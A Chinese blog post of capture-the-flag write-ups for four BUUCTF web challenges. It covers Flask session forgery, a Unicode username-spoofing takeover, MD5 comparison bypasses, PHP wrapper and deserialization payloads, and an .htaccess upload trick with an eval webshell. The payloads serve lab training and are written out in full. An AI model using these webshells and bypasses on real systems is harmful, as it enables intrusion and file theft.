BUU Web[21-24]

[HCTF 2018]admin

解题思路

f12查看网页源码,发现提示,结合题名这题应该是需要用admin身份登陆,发现cookie中有一个session,很容易联想到session伪造
not admin
浏览其他页面,包含了注册、修改密码以及登陆三个界面,随便注册一个账号登录,发现会回显用户名,因此猜测是二次注入,但多番尝试无果,审查修改密码的源码发现提示:
hint
下载源码进行审计,确认是flask session伪造,在config.py文件中找到secret_key
secret_key
解开session,修改name为admin
解密session
修改name加密修改cookie登陆,得到flag
修改cookie登陆其实这题可以通过爆破登陆,admin口令为弱密码123,除此之外还有一种解法,下载源码后审计发现,获取POST值后都经过了strlower的处理strlower但是python明明有lower函数,这里自定义新的函数很可疑,查看strlower源码
strlower
使用了nodeprep.prepare,而nodeprep从twisted导入,查看requirements.txt发现twisted版本为10.2.0,存在Unicode欺骗漏洞,原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A再次调用nodeprep.prepare函数会把A转换成a,这样我们注册一个ᴬᴰᴹᴵᴺ,然后再修改密码,这时候ᴬᴰᴹᴵᴺ被转化为admin,修改的其实是admin的密码,然后登陆即可

总结

  • flask_session伪造:找到secret key
  • Unicode欺骗:nodeprep.prepare

[BJDCTF2020]Easy MD5

解题思路

打开页面随便输入点东西,抓包,发现响应包有hint
hint输入’ffifdyop’绕过,跳转到levels91.php,f12查看源码提示
依然是MD5比较,hash碰撞绕过
levels91.php?a=s878926199a&b=s155964671a

$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.

跳转到第三个页面,审计源码,数组绕过
POST方式:param1[]=1¶m2[]=2

 <?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
} 
?>

数组绕过

总结

  • 弱类型比较
    • hash碰撞绕过
  • 强类型比较
    • 数组绕过
    • 结合SQL绕过

[ZJCTF 2019]NiZhuanSiWei

解题思路

打开页面,审计源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "

".file_get_contents($text,'r')."


"
;if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;} } else{highlight_file(__FILE__); } ?>

需要传入两个参数满足条件:

  • text:使用php伪协议(input和data都可)传入文件内容
    • payload:php://input
    • POST data:welcome to the zjctf
  • file:使用filter协议读取(很容易猜到flag过滤是因为useless.php中含有flag),因此使用base64+filter绕过
    • payload:?file=php://filter/read=convert.base64-encode/resource=useless.php

输入构造好的payload,解码后得到useless.php源码:

  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "
"
;return ("U R SO CLOSE !///COME ON PLZ");} } } ?>

因此只需要让file=flag.php,然后把序列化的对象作为password的值输入即可

  
class Flag{  //flag.php  public $file="flag.php";  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "
"
;return ("U R SO CLOSE !///COME ON PLZ");} } } $flag= new Flag(); echo($flag); ?>

最终的payload:
text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST DATA:welcome to the zjctf
查看源码得到flag:
flag

总结

  • php伪协议
    • php://data、php://input配合file_get_contents
    • php://filter/read=convert.base64-encode/resource=flag.php读取文件
  • php序列化和反序列化

[MRCTF2020]你传你🐎呢

解题思路

尝试截断、双写、加文件头、图片马、其他php后缀后无果,遂尝试.htaccess文件,发现上传成功

.htaccess
.htaccess文件内容为

<FilesMatch "evil.jpg">SetHandler application/x-httpd-php
</FilesMatch>

上传evil.jpg,文件内容为

//@ 放在函数前有屏蔽出错信息的作用
<?php
@eval($_POST['cmd']);
?>

访问上传的一句话木马,cmd=system('ls /');,发现没有输出,猜想可能被过滤,查看phpinfo()中的disable_functions,果然system被禁用
system被禁用
可以采取scan_dir配合var_dump进行目录读取,使用file_get_contents进行文件读取

cmd=var_dump(scandir(chr(47)));
dircmd=var_dump(file_get_contents("/flag"));
flag

总结

  • 文件上传绕过
    • 文件类型检测
    • .htaccess解析
  • scan_dirfile_get_contents绕过disable_functions进行文件读取
  • 一句话木马在eval前加@有屏蔽出错信息的作用


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部